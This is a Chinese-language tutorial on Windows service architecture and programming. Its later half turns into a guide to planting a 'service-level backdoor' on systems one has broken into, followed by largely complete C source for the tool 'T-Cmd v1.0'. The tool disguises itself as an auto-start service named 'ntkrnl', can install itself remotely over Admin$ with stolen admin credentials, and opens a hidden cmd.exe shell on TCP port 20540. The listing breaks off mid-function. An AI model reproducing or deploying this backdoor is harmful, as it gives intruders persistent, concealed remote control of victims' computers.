一、序言
Windows下的服務程序都遵循服務控制管理器(SCM)的接頭標準,它們會在登入系統時自動執行,甚至在沒有用戶登入系統的情況下也會正常執行,類似與UNIX系統中的守護工作(daemon)。 它們大多是控制台程序,不過也有少數的GUI程序。本文所涉及到的服務程序僅限於Windows2000/XP系統中的一般服務程序,不包含Windows9X。
二、Windows服務簡介
服務控制管理器擁有一個在註冊表中記錄的資料庫,包含了所有已安裝的服務程序和設備驅動服務程序的相關資訊。它允許系統管理員為每個服務自訂安全要求和控制訪問權限。Windows服務包括四大部分:服務控制管理器(Service Control Manager),服務控制程序(Service Control Program),服務程序(Service Program)和服務配置程序(Service Configuration Program)。
1.服務控制管理器(SCM)
服務控制管理器在系統啟動的早期由Winlogon工作啟動,可執行檔案名是「Admin$\System32\Services.exe」,它是系統中的一個RPC伺服器,因此服務配置程序和服務控制程序可以在遠端操縱服務。它包括以下幾方面的信息:
已安裝服務資料庫:服務控制管理器在註冊表中擁有一個已安裝服務的資料庫,它在服務控制管理器和程序增加,刪除,配置服務程序時使用,在註冊表中資料庫的位置為:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services。它包括很多子鍵,每個子鍵的名字就代表一個對應的服務。資料庫中包括:服務類型(私有工作,共享工作),啟動類型(自動執行,由服務控制管理器啟動,無效),錯誤類型(忽略,一般錯誤,服務錯誤,關鍵錯誤),執行文件路徑,依賴信息選項,可選用戶名與密碼。
自動啟動服務:系統啟動時,服務控制管理器啟動所有「自啟」服務和相關依賴服務。服務的載入順序:順序裝載組列表:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\ServiceGroupOrder;指定組列表:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\GroupOrderList;每個服務所依賴的服務程序。在系統成功啟始後會保留一份LKG(Last-Know-Good)的配置資訊位於:HKEY_LOCAL_MACHINE\SYSTEM\ControlSetXXX\Services。
因要求而啟動服務:用戶可以使用服務控制台程序來啟動一項服務。服務控制程序也可以使用StartService來啟動服務。服務控制管理器會進行下面的操作:獲取帳戶信息,登入服務項目,新增服務為懸掛狀態,分配登入令牌給工作,允許工作執行。
服務記錄列表:每項服務在資料庫中都包含了下面的內容:服務名稱,開始類型,服務狀態(類型,當前狀態,接受控制程式碼,退出程式碼,等待提示),依賴服務列表游標。
服務控制管理器句柄:服務控制管理器支持句柄類型訪問以下對像:已安裝服務資料庫,服務程序,資料庫的鎖開狀態。
2.服務控制程序(SCP)
服務控制程序可以執行對服務程序的開啟,控制和狀態查詢功能:
開啟服務:如果服務的開啟類型為SERVICE_DEMAND_START,就可以用服務控制程序來開始一項服務。在開始服務的啟始化階段服務的當前狀態為:SERVICE_START_PENDING,而在啟始化完成後的狀態就是:SERVICE_RUNNING。
向正在執行的服務傳送控制請求:控制請求可以是系統預設的,也可以是用戶自訂的。標準控制程式碼如下:停止服務(SERVICE_CONTROL_STOP),暫停服務(SERVICE_CONTROL_PAUSE),恢復已暫停服務(SERVICE_CONTROL_CONTINUE),獲得更新信息(SERVICE_CONTROL_INTERROGATE)。
3.服務程序
一個服務程序可能擁有一個或多個服務的執行程式碼。我們可以新增類型為SERVICE_WIN32_OWN_PROCESS的只擁有一個服務的服務程序。而類型為SERVICE_WIN32_SHARE_PROCESS的服務程序卻可以包含多個服務的執行程式碼。詳情參見後面的Windows服務與編程。
4.服務配置程序
編程人員和系統管理員可以使用服務配置程序來更改,查詢已安裝服務的信息。當然也可以通過註冊表函數來訪問相關資源。
服務的安裝,刪除和列舉:我們可以使用相關的系統函數來新增,刪除服務和查詢所有服務的當前狀態。
服務配置:系統管理員通過服務配置程序來控制服務的啟動類型,顯示名稱和相關描述信息。
三、Windows服務與編程
Windows服務編程包括幾方面的內容,下面我們將從服務控制程序,服務程序和服務配置程序的角度介紹服務編程相關的內容。
1.服務控制程序
執行服務控制程序的相關函數前,我們需要獲得一個服務對象的句柄,方式有兩種:由OpenSCManager來獲得一台特定主機的服務控制管理器資料庫的句柄;使用OpenService或CreateService函數來獲得某個服務對象的句柄。
啟動服務:要啟動一個服務,服務控制程序可以使用StartService來實現。如果服務控制管理器資料庫被鎖定,那需要等待一定的時間然後再次測試StartService函數。當然也可以使用QueryServiceLockStatus函數來驗證資料庫的當前狀態。在啟動成功完成時,那麼dwCurrentState參數將會返回SERVICE_RUNNING值。
服務控制請求:服務控制程序使用ControlService函數來傳送控制請求到正在執行的服務程序。它會向控制句柄函數傳送一個特定的控制指令,可以是系統預設的,也可以是用戶自訂的。而且每個服務都會確定自己將會接收的控制指令列表。使用QueryServiceStatus函數時,在返回的dwControlsAccepted參數中表明服務程序將會接收的控制指令。所有的服務都會接受SERVICE_CONTROL_INTERROGATE指令。
2.服務程序
一個服務程序內可以包含一個服務或多個服務的執行程式碼,但是它們都擁有類BIOS的三個部分:服務main函數,服務ServiceMain函數和服務Control Handler函數。
服務main函數:服務程序通常是以控制台的方式存在的,所以它們的入口點都是main函數。在服務控制管理器開始一個服務程序時,會等待StartServiceCtrlDispatcher函數的執行。如果服務類型是SERVICE_WIN32_OWN_PROCESS就會立即使用StartServiceCtrlDispatcher函數的執行;如果服務類型是SERVICE_WIN32_SHARE_PROCESS,通常在啟始化所有服務之後再使用它。StartServiceCtrlDispatcher函數的參數就是一個SERVICE_TABLE_ENTRY結構,它包含了工作內所有服務的名稱和服務入口點。
服務ServiceMain函數:函數ServiceMain是服務的入口點。在服務控制程序請求一個新的服務啟動時,服務控制管理器啟動一個服務,並傳送一個開始請求到控制調度程序,而後控制調度程序新增一個新線程來執行ServiceMain函數。ServiceMain須執行以下的工作:使用RegisterServiceCtrlHandler函數註冊一個HandlerEx函數來向服務傳送控制請求信息,返回值是服務狀態句柄用來向服務控制管理器傳送服務狀態。啟始化後使用SetServiceStatus函數設定服務狀態為SERVICE_RUNNING。最後,就是執行服務所要完成的工作。
服務Control Handler函數:每個服務都有一個控制句柄HandlerEx函數。它會在服務工作從服務控制程序接收到一個控制請求時被控制調度程序所使用。無論何時在HandlerEx函數被使用時,都要使用SetServiceStatus函數向服務控制管理器報告它當前的狀態。在用戶關閉系統時,所有的控制句柄都會使用帶有SERVICE_ACCEPT_SHUTDOW控制程式碼的SetServiceStatus函數來接收NSERVICE_CONTROL_SHUTDOWN控制程式碼。
3.服務配置程序
服務配置程序可以更改或查詢服務的當前配置資訊。在使用服務配置函數之前,必須獲得一個服務對象的句柄,當然我們可以通過使用OpenSCManager,OpenService或CreateService函數來獲得。
新增,刪除服務:服務配置程序使用CreateService函數在服務控制管理器的資料庫中安裝一個新服務,它會提供服務的名稱和相關的配置資訊並存儲在資料庫中。服務配置程序則使用DeleteService函數從資料庫中刪除一個已經安裝的服務。
四、服務級後門技術
在你進入某個系統後,往往會為自己留下一個或多個後門,以便今後的訪問。在上傳一個後門程序到遠端系統上後系統重啟之時,總是希望後門仍然存在。那麼,將後門程序新增成服務程序應該是個不錯的想法,這就是利用了服務程序自動執行的機制,當然在Windows2000的工作管理器裡也很難結束一個服務程序的工作。
新增一個後門,它常常會在一個連接阜監聽,以方便我們使用TCP/UDP傳輸協定與遠端主機建立連接,所以我們首先需要在後門程序裡新增一個監聽的連接阜,為了資料傳輸的穩定與安全,我們可以使用TCP傳輸協定。
那麼,我們如何才能模擬一個Telnet服務似的後門呢?我想大家都清楚,如果在遠端主機上有一個Cmd是我們可以控制的,也就是我們可以在這個Cmd裡執行指令,那麼就可以實現對遠端主機的控制了,至少可以執行各種一般的系統指令。啟動一個Cmd程序的方法很多,有WinExec,ShellExecute,CreateProcess等,但只能使用CreateProcess,因為WinExec和ShellExecute它們實在太簡單了。在使用CreateProcess時,要用到它的重轉發IP標準輸入/輸出的選項功能,把在本機主機的輸入重轉發IP輸入到遠端主機的Cmd工作,並且把遠端主機Cmd工作的標準輸出重轉發IP到本機主機的標準輸出。這就需要在後門程序裡使用CreatePipe新增兩個管道來實現工作間的資料通信(Inter-Process Communication,IPC)。當然,還必須將遠端主機上Cmd的標準輸入和輸出在本機主機之間進行傳送,我們選項TCP傳輸協定的send和recv函數。在客戶結束訪問後,還要使用TerminateProcess來結束新增的Cmd工作。
五、關鍵函數分析
本文相關程序T-Cmd v1.0是一個服務級的後門程序,適用平台為Windows2000/XP。它可自動為遠端/本機主機新增服務級後門,無須使用任何額外的指令,支持本機/遠端模式。重啟後,程序仍然自動執行,監聽連接阜20540/tcp。
1.自訂資料結構與函數
typedef struct
{
HANDLE hPipe;
//為實現工作間通信而使用的管道;
SOCKET sClient;
//與客戶端進行通信時的客戶端套接字;
}SESSIONDATA,*PSESSIONDATA;
//重轉發IPCmd標準輸入/輸出時使用的資料結構;
typedef struct PROCESSDATA
{
HANDLE hProcess;
//新增Cmd工作時獲得的工作句柄;
DWORD dwProcessId;
//新增Cmd工作時獲得的工作標識符;
struct PROCESSDATA *next;
//指向下一個資料結構的游標;
}PROCESSDATA,*PPROCESSDATA;
//在客戶結束訪問或刪除服務時為關閉所以的Cmd工作而新增的資料結構;
void WINAPI CmdStart(DWORD,LPTSTR *);
//服務程序中的「ServiceMain」:註冊服務控制句柄,新增服務主線程;
void WINAPI CmdControl(DWORD);
//服務程序中的「HandlerEx」:處理接收到的控制指令,刪除已新增的Cmd工作;
DWORD WINAPI CmdService(LPVOID);
//服務主線程,新增服務監聽連接阜,在接受客戶連接時,新增重轉發IPCmd標準輸入/輸出線程;
DWORD WINAPI CmdShell(LPVOID);
//新增管道與Cmd工作,及Cmd的輸入/輸出線程;
DWORD WINAPI ReadShell(LPVOID);
//重轉發IPCmd的輸出,讀取信息後傳送到客戶端;
DWORD WINAPI WriteShell(LPVOID);
//重轉發IPCmd的輸入,接收客戶端的信息輸入到Cmd工作;
BOOL ConnectRemote(BOOL,char *,char *,char *);
//如果選項遠端模式,則須與遠端主機建立連接,注須提供管理員權限的用戶名與密碼,密碼為空時用"NULL"替代;
void InstallCmdService(char *);
//複製傳送文件,開啟服務控制管理器,新增或開啟服務程序;
void RemoveCmdService(char *);
//刪除文件,停止服務後,卸載服務程序;
2.服務程序相關函數
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{"ntkrnl",CmdStart},
//服務程序的名稱和入口點;
{NULL ,NULL }
//SERVICE_TABLE_ENTRY結構必須以「NULL」結束;
};
StartServiceCtrlDispatcher(DispatchTable);
//連接服務控制管理器,開始控制調度程序線程;
ServiceStatusHandle=RegisterServiceCtrlHandler("ntkrnl",CmdControl);
//註冊CmdControl函數為「HandlerEx」函數,並啟始化;
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus(ServiceStatusHandle,&ServiceStatus);
//設定服務的當前狀態為SERVICE_RUNNING;
hThread=CreateThread(NULL,0,CmdService,NULL,0,NULL);
//新增服務主線程,實現後門功能;
WaitForSingleObject(hMutex,INFINITE);
//等待互斥量,控制全局變數的同步使用;
TerminateProcess(lpProcessDataHead->hProcess,1);
//終止新增的Cmd工作;
hSearch=FindFirstFile(lpImagePath,&FileData);
//搜尋系統目錄下服務程序的文件是否已經存在;
GetModuleFileName(NULL,lpCurrentPath,MAX_PATH);
//獲得當前工作的程式文件名;
CopyFile(lpCurrentPath,lpImagePath,FALSE);
//複製文件到系統目錄下;
schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS);
//開啟服務控制管理器資料庫;
CreateService(schSCManager,"ntkrnl","ntkrnl",SERVICE_ALL_ACCESS,SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START,SERVICE_ERROR_IGNORE,"ntkrnl.exe",NULL,NULL,NULL,NULL,NULL);
//新增服務,參數包括名稱,服務類型,開始類型,錯誤類型及文件路徑等;
schService=OpenService(schSCManager,"ntkrnl",SERVICE_START);
//如果服務已經新增,則開啟服務;
StartService(schService,0,NULL);
//啟動服務工作;
ControlService(schService,SERVICE_CONTROL_STOP,&RemoveServiceStatus);
//控制服務狀態;
DeleteService(schService);
//卸載服務程序;
DeleteFile(lpImagePath);
//刪除文件;
3.後門程序相關函數
hMutex=CreateMutex(NULL,FALSE,NULL);
//新增互斥量;
hThread=CreateThread(NULL,0,CmdShell,(LPVOID)&sClient,0,NULL);
//新增處理客戶端訪問的重轉發IP輸入輸出線程;
CreatePipe(&hReadPipe,&hReadShell,&saPipe,0);
CreatePipe(&hWriteShell,&hWritePipe,&saPipe,0);
//新增用於工作間通信的輸入/輸出管道;
CreateProcess(lpImagePath,NULL,NULL,NULL,TRUE,0,NULL,NULL,&lpStartupInfo,&lpProcessInfo);
//新增經重轉發IP輸入輸出的Cmd工作;
hThread[1]=CreateThread(NULL,0,ReadShell,(LPVOID*)&sdRead,0,&dwSendThreadId);
hThread[2]=CreateThread(NULL,0,WriteShell,(LPVOID *)&sdWrite,0,&dwReavThreadId);
//新增處理Cmd輸入輸出的線程;
dwResult=WaitForMultipleObjects(3,hThread,FALSE,INFINITE);
//等待線程或工作的結束;
ReleaseMutex(hMutex);
//釋放互斥量;
PeekNamedPipe(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL,NULL);
//從管道中複製資料到緩衝區中,但不從管道中移出;
ReadFile(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL);
//從管道中複製資料到緩衝區中;
WriteFile(sdWrite.hPipe,szBuffer2Write,dwBuffer2Write,&dwBufferWritten,NULL);
//向管道中寫入從客戶端接收到的資料;
dwErrorCode=WNetAddConnection2(&NetResource,lpPassword,lpUserName,CONNECT_INTERACTIVE);
//與遠端主機建立連接;
WNetCancelConnection2(lpIPC,CONNECT_UPDATE_PROFILE,TRUE);
//與遠端主機結束連接;
六、附錄
1.SC簡介
SC是一個與NT服務控制器,服務工作進行通信的控制台程序,它可以查詢和修改已安裝服務的資料庫。
語法:sc <server> [command] [service name] <option1> <option2>... ,選項<server>為「\\ServerName」的形式。
主要的指令包括:query,config,qc,delete,create,GetDisplayName,GetKeyName,EnumDepend等。
2.T-Cmd v1.0 來源碼
#include <windows.h>
#include <stdio.h>
#define BUFFER_SIZE 1024
typedef struct
{
HANDLE hPipe;
SOCKET sClient;
}SESSIONDATA,*PSESSIONDATA;
typedef struct PROCESSDATA
{
HANDLE hProcess;
DWORD dwProcessId;
struct PROCESSDATA *next;
}PROCESSDATA,*PPROCESSDATA;
HANDLE hMutex;
PPROCESSDATA lpProcessDataHead;
PPROCESSDATA lpProcessDataEnd;
SERVICE_STATUS ServiceStatus;
SERVICE_STATUS_HANDLE ServiceStatusHandle;
void WINAPI CmdStart(DWORD,LPTSTR *);
void WINAPI CmdControl(DWORD);
DWORD WINAPI CmdService(LPVOID);
DWORD WINAPI CmdShell(LPVOID);
DWORD WINAPI ReadShell(LPVOID);
DWORD WINAPI WriteShell(LPVOID);
BOOL ConnectRemote(BOOL,char *,char *,char *);
void InstallCmdService(char *);
void RemoveCmdService(char *);
void Start(void);
void Usage(void);
int main(int argc,char *argv[])
{
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{"ntkrnl",CmdStart},
{NULL ,NULL }
};
if(argc==5)
{
if(ConnectRemote(TRUE,argv[2],argv[3],argv[4])==FALSE)
{
return -1;
}
if(!stricmp(argv[1],"-install"))
{
InstallCmdService(argv[2]);
}
else if(!stricmp(argv[1],"-remove"))
{
RemoveCmdService(argv[2]);
}
if(ConnectRemote(FALSE,argv[2],argv[3],argv[4])==FALSE)
{
return -1;
}
return 0;
}
else if(argc==2)
{
if(!stricmp(argv[1],"-install"))
{
InstallCmdService(NULL);
}
else if(!stricmp(argv[1],"-remove"))
{
RemoveCmdService(NULL);
}
else
{
Start();
Usage();
}
return 0;
}
StartServiceCtrlDispatcher(DispatchTable);
return 0;
}
void WINAPI CmdStart(DWORD dwArgc,LPTSTR *lpArgv)
{
HANDLE hThread;
ServiceStatus.dwServiceType = SERVICE_WIN32;
ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP
│ SERVICE_ACCEPT_PAUSE_CONTINUE;
ServiceStatus.dwServiceSpecificExitCode = 0;
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
ServiceStatusHandle=RegisterServiceCtrlHandler("ntkrnl",CmdControl);
if(ServiceStatusHandle==0)
{
OutputDebugString("RegisterServiceCtrlHandler Error !\n");
return ;
}
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0)
{
OutputDebugString("SetServiceStatus in CmdStart Error !\n");
return ;
}
hThread=CreateThread(NULL,0,CmdService,NULL,0,NULL);
if(hThread==NULL)
{
OutputDebugString("CreateThread in CmdStart Error !\n");
}
return ;
}
void WINAPI CmdControl(DWORD dwCode)
{
switch(dwCode)
{
case SERVICE_CONTROL_PAUSE:
ServiceStatus.dwCurrentState = SERVICE_PAUSED;
break;
case SERVICE_CONTROL_CONTINUE:
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
break;
case SERVICE_CONTROL_STOP:
WaitForSingleObject(hMutex,INFINITE);
while(lpProcessDataHead!=NULL)
{
TerminateProcess(lpProcessDataHead->hProcess,1);
if(lpProcessDataHead->next!=NULL)
{
lpProcessDataHead=lpProcessDataHead->next;
}
else
{
lpProcessDataHead=NULL;
}
}
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0)
{
OutputDebugString("SetServiceStatus in CmdControl in Switch Error !\n");
}
ReleaseMutex(hMutex);
CloseHandle(hMutex);
return ;
case SERVICE_CONTROL_INTERROGATE:
break;
default:
break;
}
if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0)
{
OutputDebugString("SetServiceStatus in CmdControl out Switch Error !\n");
}
return ;
}
DWORD WINAPI CmdService(LPVOID lpParam)
{
WSADATA wsa;
SOCKET sServer;
SOCKET sClient;
HANDLE hThread;
struct sockaddr_in sin;
WSAStartup(MAKEWORD(2,2),&wsa);
sServer = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(sServer==INVALID_SOCKET)
{
OutputDebugString("Socket Error !\n");
return -1;
}
sin.sin_family = AF_INET;
sin.sin_port = htons(20540);
sin.sin_addr.S_un.S_addr = INADDR_ANY;
if(bind(sServer,(const struct sockaddr *)&sin,sizeof(sin))==SOCKET_ERROR)
{
OutputDebugString("Bind Error !\n");
return -1;
}
if(listen(sServer,5)==SOCKET_ERROR)
{
OutputDebugString("Listen Error !\n");
return -1;
}
hMutex=CreateMutex(NULL,FALSE,NULL);
if(hMutex==NULL)
{
OutputDebugString("Create Mutex Error !\n");
}
lpProcessDataHead=NULL;
lpProcessDataEnd=NULL;
while(1)
{
sClient=accept(sServer,NULL,NULL);
hThread=CreateThread(NULL,0,CmdShell,(LPVOID)&sClient,0,NULL);
if(hThread==NULL)
{
OutputDebugString("CreateThread of CmdShell Error !\n");
break;
}
Sleep(1000);
}
WSACleanup();
return 0;
}
DWORD WINAPI CmdShell(LPVOID lpParam)
{
SOCKET sClient=*(SOCKET *)lpParam;
HANDLE hWritePipe,hReadPipe,hWriteShell,hReadShell;
HANDLE hThread[3];
DWORD dwReavThreadId,dwSendThreadId;
DWORD dwProcessId;
DWORD dwResult;
STARTUPINFO lpStartupInfo;
SESSIONDATA sdWrite,sdRead;
PROCESS_INFORMATION lpProcessInfo;
SECURITY_ATTRIBUTES saPipe;
PPROCESSDATA lpProcessDataLast;
PPROCESSDATA lpProcessDataNow;
char lpImagePath[MAX_PATH];
saPipe.nLength = sizeof(saPipe);
saPipe.bInheritHandle = TRUE;
saPipe.lpSecurityDescriptor = NULL;
if(CreatePipe(&hReadPipe,&hReadShell,&saPipe,0)==0)
{
OutputDebugString("CreatePipe for ReadPipe Error !\n");
return -1;
}
if(CreatePipe(&hWriteShell,&hWritePipe,&saPipe,0)==0)
{
OutputDebugString("CreatePipe for WritePipe Error !\n");
return -1;
}
GetStartupInfo(&lpStartupInfo);
lpStartupInfo.cb = sizeof(lpStartupInfo);
lpStartupInfo.dwFlags = STARTF_USESHOWWINDOW │ STARTF_USESTDHANDLES;
lpStartupInfo.hStdInput = hWriteShell;
lpStartupInfo.hStdOutput = hReadShell;
lpStartupInfo.hStdError = hReadShell;
lpStartupInfo.wShowWindow = SW_HIDE;
GetSystemDirectory(lpImagePath,MAX_PATH);
strcat(lpImagePath,("\\cmd.exe"));
WaitForSingleObject(hMutex,INFINITE);
if(CreateProcess(lpImagePath,NULL,NULL,NULL,TRUE,0,NULL,NULL,&lpStartupInfo,&lpProcessInfo)==0)
{
OutputDebugString("CreateProcess Error !\n");
return -1;
}
lpProcessDataNow=(PPROCESSDATA)malloc(sizeof(PROCESSDATA));
lpProcessDataNow->hProcess=lpProcessInfo.hProcess;
lpProcessDataNow->dwProcessId=lpProcessInfo.dwProcessId;
lpProcessDataNow->next=NULL;
if((lpProcessDataHead==NULL) ││ (lpProcessDataEnd==NULL))
{
lpProcessDataHead=lpProcessDataNow;
lpProcessDataEnd=lpProcessDataNow;
}
else
{
lpProcessDataEnd->next=lpProcessDataNow;
lpProcessDataEnd=lpProcessDataNow;
}
hThread[0]=lpProcessInfo.hProcess;
dwProcessId=lpProcessInfo.dwProcessId;
CloseHandle(lpProcessInfo.hThread);
ReleaseMutex(hMutex);
CloseHandle(hWriteShell);
CloseHandle(hReadShell);
sdRead.hPipe = hReadPipe;
sdRead.sClient = sClient;
hThread[1] = CreateThread(NULL,0,ReadShell,(LPVOID*)&sdRead,0,&dwSendThreadId);
if(hThread[1]==NULL)
{
OutputDebugString("CreateThread of ReadShell(Send) Error !\n");
return -1;
}
sdWrite.hPipe = hWritePipe;
sdWrite.sClient = sClient;
hThread[2] = CreateThread(NULL,0,WriteShell,(LPVOID *)&sdWrite,0,&dwReavThreadId);
if(hThread[2]==NULL)
{
OutputDebugString("CreateThread for WriteShell(Recv) Error !\n");
return -1;
}
dwResult=WaitForMultipleObjects(3,hThread,FALSE,INFINITE);
if((dwResult>=WAIT_OBJECT_0) && (dwResult<=(WAIT_OBJECT_0 + 2)))
{
dwResult-=WAIT_OBJECT_0;
if(dwResult!=0)
{
TerminateProcess(hThread[0],1);
}
CloseHandle(hThread[(dwResult+1)%3]);
CloseHandle(hThread[(dwResult+2)%3]);
}
CloseHandle(hWritePipe);
CloseHandle(hReadPipe);
WaitForSingleObject(hMutex,INFINITE);
lpProcessDataLast=NULL;
lpProcessDataNow=lpProcessDataHead;
while((lpProcessDataNow->next!=NULL) && (lpProcessDataNow->dwProcessId!=dwProcessId))
{
lpProcessDataLast=lpProcessDataNow;
lpProcessDataNow=lpProcessDataNow->next;
}
if(lpProcessDataNow==lpProcessDataEnd)
{
if(lpProcessDataNow->dwProcessId!=dwProcessId)
{
OutputDebugString("No Found the Process Handle !\n");
}
else
{
if(lpProcessDataNow==lpProcessDataHead)
{
lpProcessDataHead=NULL;
lpProcessDataEnd=NULL;
}
else
{
lpProcessDataEnd=lpProcessDataLast;
}
}
}
else
{
if(lpProcessDataNow==lpProcessDataHead)
{
lpProcessDataHead=lpProcessDataNow->next;
}
else
{
lpProcessDataLast->next=lpProcessDataNow->next;
}
}
ReleaseMutex(hMutex);
return 0;
}
DWORD WINAPI ReadShell(LPVOID lpParam)
{
SESSIONDATA sdRead=*(PSESSIONDATA)lpParam;
DWORD dwBufferRead,dwBufferNow,dwBuffer2Send;
char szBuffer[BUFFER_SIZE];
char szBuffer2Send[BUFFER_SIZE+32];
char PrevChar;
char szStartMessage[256]="\r\n\r\n\t\t---[ T-Cmd v1.0 beta, by TOo2y ]---\r\n\t\t---[ E-mail:
TOo2y@safechina.net ]---\r\n\t\t---[ HomePage:
www.safechina.net ]---\r\n\t\t---[ Date: 02-05-2003 ]---\r\n\n";
char szHelpMessage[256]="\r\nEscape Character is 'CTRL+]'\r\n\n";
send(sdRead.sClient,szStartMessage,256,0);
send(sdRead.sClient,szHelpMessage,256,0);
while(PeekNamedPipe(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL,NULL))
{
if(dwBufferRead>0)
{
ReadFile(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL);
}
else
{
Sleep(10);
continue;
}
for(dwBufferNow=0,dwBuffer2Send=0;dwBufferNow<dwBufferRead;dwBufferNow++,dwBuffer2Send++)
{
if((szBuffer[dwBufferNow]=='\n') && (PrevChar!='\r'))
{
szBuffer[dwBuffer2Send++]='\r';
}
PrevChar=szBuffer[dwBufferNow];
szBuffer2Send[dwBuffer2Send]=szBuffer[dwBufferNow];
}
if(send(sdRead.sClient,szBuffer2Send,dwBuffer2Send,0)==SOCKET_ERROR)
{
OutputDebugString("Send in ReadShell Error !\n");
break;
}
Sleep(5);
}
shutdown(sdRead.sClient,0x02);
closesocket(sdRead.sClient);
return 0;
}
DWORD WINAPI WriteShell(LPVOID lpParam)
{
SESSIONDATA sdWrite=*(PSESSIONDATA)lpParam;
DWORD dwBuffer2Write,dwBufferWritten;
char szBuffer[1];
char szBuffer2Write[BUFFER_SIZE];
dwBuffer2Write=0;
while(recv(sdWrite.sClient,szBuffer,1,0)!=0)
{
szBuffer2Write[dwBuffer2Write++]=szBuffer[0];
if(strnicmp(szBuffer2Write,"exit\r\n",6)==0)
{
shutdown(sdWrite.sClient,0x02);
closesocket(sdWrite.sClient);
return 0;
}
if(szBuffer[0]=='\n')
{
if(WriteFile(sdWrite.hPipe,szBuffer2Write,dwBuffer2Write,&dwBufferWritten,NULL)==0)
{
OutputDebugString("WriteFile in WriteShell(Recv) Error !\n");
break;
}
dwBuffer2Write=0;
}
Sleep(10);
}
shutdown(sdWrite.sClient,0x02);
closesocket(sdWrite.sClient);
return 0;
}
BOOL ConnectRemote(BOOL bConnect,char *lpHost,char *lpUserName,char *lpPassword)
{
char lpIPC[256];
DWORD dwErrorCode;
NETRESOURCE NetResource;
sprintf(lpIPC,"\\\\%s\\ipc$",lpHost);
NetResource.lpLocalName = NULL;
NetResource.lpRemoteName = lpIPC;
NetResource.dwType = RESOURCETYPE_ANY;
NetResource.lpProvider = NULL;
if(!stricmp(lpPassword,"NULL"))
{
lpPassword=NULL;
}
if(bConnect)
{
printf("Now Connecting ...... ");
while(1)
{
dwErrorCode=WNetAddConnection2(&NetResource,lpPassword,lpUserName,CONNECT_INTERACTIVE);
if((dwErrorCode==ERROR_ALREADY_ASSIGNED) ││ (dwErrorCode==ERROR_DEVICE_ALREADY_REMEMBERED))
{
WNetCancelConnection2(lpIPC,CONNECT_UPDATE_PROFILE,TRUE);
}
else if(dwErrorCode==NO_ERROR)
{
printf("Success !\n");
break;
}
else
{
printf("Failure !\n");
return FALSE;
}
Sleep(10);
}
}
else
{
printf("Now Disconnecting ... ");
dwErrorCode=WNetCancelConnection2(lpIPC,CONNECT_UPDATE_PROFILE,TRUE);
if(dwErrorCode==NO_ERROR)
{
printf("Success !\n");
}
else
{
printf("Failure !\n");
return FALSE;
}
}
return TRUE;
}
void InstallCmdService(char *lpHost)
{
SC_HANDLE schSCManager;
SC_HANDLE schService;
char lpCurrentPath[MAX_PATH];
char lpImagePath[MAX_PATH];
char *lpHostName;
WIN32_FIND_DATA FileData;
HANDLE hSearch;
DWORD dwErrorCode;
SERVICE_STATUS InstallServiceStatus;
if(lpHost==NULL)
{
GetSystemDirectory(lpImagePath,MAX_PATH);
strcat(lpImagePath,"\\ntkrnl.exe");
lpHostName=NULL;
}
else
{
sprintf(lpImagePath,"\\\\%s\\Admin$\\system32\\ntkrnl.exe",lpHost);
lpHostName=(char *)malloc(256);
sprintf(lpHostName,"\\\\%s",lpHost);
}
printf("Transmitting File ... ");
hSearch=FindFirstFile(lpImagePath,&FileData);
if(hSearch==INVALID_HANDLE_VALUE)
{
GetModuleFileName(NULL,lpCurrentPath,MAX_PATH);
if(CopyFile(lpCurrentPath,lpImagePath,FALSE)==0)
{
dwErrorCode=GetLastError();
if(dwErrorCode==5)
{
printf("Failure ... Access is Denied !\n");
}
else
{
printf("Failure !\n");
}
return ;
}
else
{
printf("Success !\n");
}
}
else
{
printf("already Exists !\n");
FindClose(hSearch);
}
schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS);
if(schSCManager==NULL)
{
printf("Open Service Control Manager Database Failure !\n");
return ;
}
printf("Creating Service .... ");
schService=CreateService(schSCManager,"ntkrnl","ntkrnl",SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START,
SERVICE_ERROR_IGNORE,"ntkrnl.exe",NULL,NULL,NULL,NULL,NULL);
if(schService==NULL)
{
dwErrorCode=GetLastError();
if(dwErrorCode!=ERROR_SERVICE_EXISTS)
{
printf("Failure !\n");
CloseServiceHandle(schSCManager);
return ;
}
else
{
printf("already Exists !\n");
schService=OpenService(schSCManager,"ntkrnl",SERVICE_START);
if(schService==NULL)
{
printf("Opening Service .... Failure !\n");
CloseServiceHandle(schSCManager);
return ;
}
}
}
else
{
printf("Success !\n");
}
printf("Starting Service .... ");
if(StartService(schService,0,NULL)==0)
{
dwErrorCode=GetLastError();
if(dwErrorCode==ERROR_SERVICE_ALREADY_RUNNING)
{
printf("already Running !\n");
CloseServiceHandle(schSCManager);
CloseServiceHandle(schService);
return ;
}
}
else
{
printf("Pending ... ");
}
while(QueryServiceStatus(schService,&InstallServiceStatus)!=0)
{
if(InstallServiceStatus.dwCurrentState==SERVICE_START_PENDING)
{
Sleep(100);
}
else
{
break;
}
}
if(InstallServiceStatus.dwCurrentState!=SERVICE_RUNNING)
{
